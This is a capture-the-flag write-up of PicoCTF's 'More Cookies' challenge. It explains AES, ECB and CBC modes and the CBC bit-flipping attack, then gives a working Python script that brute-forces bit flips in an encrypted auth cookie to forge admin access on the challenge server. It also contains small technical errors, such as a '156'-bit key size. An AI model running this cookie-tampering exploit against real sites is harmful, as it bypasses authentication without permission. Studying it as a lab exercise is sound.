PicoCTF | More Cookies
Writeup of a Web Exploitation Challenge from PicoCTF
Description

Discovery
- We are presented with the following web page :

- Since the challenge title refers to
Cookies, let’s check if there are some :
1
auth_name = L2M0a3lRaUd2bGNCcytsREhNTUNzSjhqQlQ3djljUCszeGl5RFlFdWlTQlc5b0c5ZW1IZzcvejZoeHBmeGNGOFpZRTdSUzFZMHR2eElhMnNXMi9IbHVBdTBVdE04T3hFbzZQcWlmQlVGQnZoWFhGVGRaWTQ2TnUzbVE4d1gxL0U=
- We have a cookie called
auth_namewhich seems to bebase64encoded. - Let’s
base64decode it usingCyberchef:
.png)
- As you can see, the result also seems to be
base64encoded : - Let’s try decoding it one more time :

- This time, we have some gibberish, unreadable piece of text.
This indicates that the
cookiewasencrypted, as per the challenge description, andbase64encoded twice- After taking a look af the first hint, which is a
Wikipedia link , i realized that we are dealing withhomomorphic encryption.
Homomorphic Encryption
As Per Wikipedia,
Homomorphic Encryption is a form of encryption that permits users to perform computations on encrypted data without first decrypting it.
- Basically,
Homomorphic Encryptionmakes it possible to analyze and manipulate encrypted data without the need to decipher it and revealing private information. - To better understand the concept, let’s take the example of a person asking the location of a specific restaurant from a third party service.
- This person is actually revealing a huge volumes of data (His current location, the fact that he wants a restaurant, what time it is and more …) with the service provider that’s going to locate for him the requested restaurant.
- However, if
homomorphic encryptionwas applied in this example, none of the revealed informations would be visible to the service provider such as Google.
- With that being said, we need to find a way to manipulate the cookie without decrypting it in order to become an
adminuser. - Another thing worth mentioning is that, if you take a closer look at the
Challenge Description , you will notice that the lettersC,BandCare strangely capitalized, which is an indication thatCBCorCipher Block Chainingis the encryption scheme used to encrypt theCookie.
Back to Basics
- Before we can start tackling this problem, it’s worth revisiting how
Cipher Block Chaining (CBC)works as we will need to understand how the algorithm operates in order to take on some advanced stuff. - Let’s start by defining some
cryptographic algorithms:s
AES
- AES, short for Advanced Encryption Standard, is a
128-bit symmetric bloc cipher, which means that it takes 128 bits of plaintext and encrypts it into 128 bits of ciphertext with a key that can either be128,192or256bits. - AES comes with plenty of different
modes, all labeled with a 3 letters names such asECB(Electronic Code Book),CBC(Cipher Block Chaining),CTR(Counter) orCFB(Cipher Feedback) and more.
Block Cipher
- A block cipher is a
symmetric cryptographic algorithmthat takes a plaintext block of length n and a key, and use that to generate a ciphertext block of the same length n. AESis the most popularblock cipher, as i mentioned earlier it operates on128-bit blockswith keys of128,192or156bits.- The problem here is that, if you have a file of
2GBand you are working with a128-bitblock cipher (AES for example), the algorithm is certainly not going to encrypt this large file in a single call. - This is where
modes of operationcomes into play.
ECB
ECB, orElectronic Codebook, is one of the solutions provided to overcome this problem.- The idea is to divide the data (plaintext) into multiple blocks and each block is encrypted separately using a block cipher algorithm with the same key.

- The problem with
ECBmode is that encrypting the same block of plaintext always yields the same block of ciphertext. - This can allow the attacker to detect whether two
ECBencrypted messages are identical, or share a common prefix or substrings. - Additionally,
ECB modeis notsemantically secure, which means that observingECBencrypted ciphertext can leak informations about the plaintext. - Let’s take for example the following graphical demonstration i found on Wikipedia, where the same image is encrypted using both
ECBmode and asemantically securecipher mode likeCBC:

CBC
- In
CBCmode, each block of plaintext isXORed with the previous ciphertext block before being encrypted. - In other words,
CBCmode links the output of one block to the input of the next block, which essentiallyrandomisethe encryption and hence generate distinct ciphertexts even if the same plaintext is encrypted multiple times. - For the first block, we use something called an
Initialization Vector(IV), which is nothing more than arandom array of bytesthat has the same length of the blocks.

Decryptionworks by doing the process inreverse.- As you can see in the representation below, the first ciphertext block is decrypted using the decryption key (which is the same key used for encryption since we are working with symmetric encryption) and XORing the result with the
Initialization Vector(IV), which gives us the first plaintext block. - Now, moving to the next block, we decrypt the second ciphertext block and
XORthe result with the previous ciphertext block which gives us the second plaintext block - And So On …

Bit-Flipping Attack
- Now that we understand how
CBCworks, we can now talk aboutBit-Flippingattack. - The main vulnerable part of
CBCis that, it relies on the previous ciphertext block in order to encrypt/decrypt the next plaintext/ciphertext block, and this is exactly where theBit-Flippingattack comes into play. - Let’s see the visual representation of this attack in order to better understand how it works :

- As you can see, a 1-bit error in the second ciphertext block :
- Completely scambles the plaintext block which has the same index as the modified ciphertext;
- AND Generates the same 1-bit error in the next plaintext block (Third block).
- For example, in order to flip the first bit of the
third plaintext block, we need to flip the first bit of thesecond ciphertext block.
Exploitation
- Now that we have gone through the basics, let’s try to solve the challenge.
- Since the challenge description highlights the use of
AES-CBC modeto encrypt theauth_namecookie, we can assume that there is abit, within the encrypted cookie, responsible of identifying admin users from normal users. There is most likely a
parameterlikeadmin=0and if we modify theproper bit, we can modify this parameter and set it to1.- The problem is that the position of this particular bit is unkown, which means we need to try every single position and
flipevery single bit until theflagis shown. - To do so, let’s write a
Python Scriptthat will loop over all the bits in thecookieand flips each one until theflagis displayed.
Writing the exploit
- First things first, let’s :
- Establish a
session objectusing therequestsmodule; - Send a
GETrequest; - Grab the
auth_namecookie and store it in aCookievariable; Base64 decodetwice the cookie.
- Establish a
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/python3
import requests
from base64 import *
Target = "http://mercury.picoctf.net:34962/" # CHANGE THIS
# Create a session object :
session = requests.Session()
# Make a GET request :
session.get(Target)
# Storing the auth_name cookie in our Cookie variable :
Cookie = session.cookies["auth_name"]
# Base64 decode twice :
Raw_Cookie = b64decode(b64decode(Cookie))
- At this point, if we print out
CookieandRaw_Cookie, we get the following :
1
2
Cookie: MEZJZWc5UGdIeUZqdVNMNGx0WXBiYk42WDBWSThaUW9hcW5zYjEzN2I2ckgyZVpTbG1wenRVbVNDb1VreG4xNHJOMExEL2Q2NTY5aEZpNlRGMndLMUVOL3d4cmxRRkhUS2Y0QTcxaWJPSVlseGU1d2NjS1VQakZzZUNheU82Rmk=
Raw_Cookie: b'\xd0R\x1e\x83\xd3\xe0\x1f!c\xb9"\xf8\x96\xd6)m\xb3z_EH\xf1\x94(j\xa9\xeco]\xfbo\xaa\xc7\xd9\xe6R\x96js\xb5I\x92\n\x85$\xc6}x\xac\xdd\x0b\x0f\xf7z\xe7\xafa\x16.\x93\x17l\n\xd4C\x7f\xc3\x1a\xe5@Q\xd3)\xfe\x00\xefX\x9b8\x86%\xc5\xeepq\xc2\x94>1lx&\xb2;\xa1b'
- Now, let’s write the
exploitwhere theBit-Flippingprocess is going to take place.- First, we define a
loopto iterate overevery single bytein theRaw_Cookie; - Then, we define another nested
loopto iterate overevery single bitin the current byte of every iteration, given that every byte contains 8 bits(1-Byte = 8-bits); - Then, we take
every byte of every iterationandxorit withanother bytewhere all bits are set tozeroexcept the bit at the position ‘bit_index’ which going to be set toone; Base64encode twice the generated cookie from the 3rd step;- Send a
GET requestwith the new cookie; - Checking if the flag is displayed in the response;
- If so, printing out the
flag, considering that the it is located between<code>and</code>HTML elements. - Move on to the next byte and
REPEAT.
- If so, printing out the
- First, we define a
- Here is what our first and basic script will look like :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#!/usr/bin/python3
import requests
from base64 import *
Target = "http://mercury.picoctf.net:34962/" # CHANGE THIS
# Create a session object :
session = requests.Session()
# Make a GET request :
session.get(Target)
# Storing the auth_name cookie in our Cookie variable :
Cookie = session.cookies["auth_name"]
# Base64 decode twice :
Raw_Cookie = b64decode(b64decode(Cookie))
# Iterate over every single byte in the Raw_Cookie :
for byte_index in range(len(Raw_Cookie)) :
# Iterate over every single bit in the current byte at the position "byte_index" => 1-Byte = 8-bits :
for bit_index in range(0,8) :
Potential_Raw_Cookie = Raw_Cookie[0:byte_index] + (Raw_Cookie[byte_index] ^ (1 << bit_index)).to_bytes(1, 'big') + Raw_Cookie[byte_index+1 :]
# Base64 encode twice the Potential_Raw_Cookie to send out the Potential_Cookie in the same encoding scheme:
Potential_Cookie = b64encode(b64encode(Potential_Raw_Cookie)).decode()
# Sending a GET request with the Potential_Cookie :
r = requests.get(Target, cookies={"auth_name": Potential_Cookie})
# Cheking if the response contains our flag format "picoCTF{" :
if ('picoCTF{' in r.text) :
print("\n[*] HERE IS YOUR FLAG: " + r.text.split("<code>")[1].split("</code>")[0])
exit()
# Clarification of the Potential_Raw_Cookie variable : +------------------------------------------------------------------------------------------+
# Raw_Cookie[0:byte_index] => All bytes before the current "byte_index", will not be engaged in the Bit-Flipping process, as they have already been tested.
# Raw_Cookie[byte_index] => This is the current byte where the Bit-Flipping is taking place.
# 1 << bit_index => This is the byte we created in order to xor it with the current byte, which is Raw_Cookie[byte_index]
# if (bit_index == 0) then ( 1 << bit_index ) == 0000 0001 => 1
# if (bit_index == 1) then ( 1 << bit_index ) == 0000 0010 => 2
# if (bit_index == 2) then ( 1 << bit_index ) == 0000 0100 => 4
# ...
# if (bit_index == 7) then ( 1 << bit_index ) == 1000 0000 => 128
# to_bytes(1, 'big') => This will transfrom the XOR result into a raw format
# => For example, if the XOR result is 73 then to_bytes() will return b'\xe5'
# Raw_Cookie[byte_index+1 :] => All bytes after the current "byte_index", will NOT YET be engaged in the Bit-Flipping process.
#-------------------------------------------------------------------------------------------------------------------------------------------------+
- The above script is very basic and simple, i wrote an improved and more verbose version, which walks you through the
Bit-Flippingprocess and tells you where exactly it is taking place and makes you better understand the attack. You can find it
HERE .- The entire process can be see in the clip below :
References
https://crypto.stackexchange.com/questions/66085/bit-flipping-attack-on-cbc-mode/66086#66086
https://www.includehelp.com/cryptography/cipher-block-chaining-cbc.aspx
This post is licensed under CC BY 4.0 by the author.
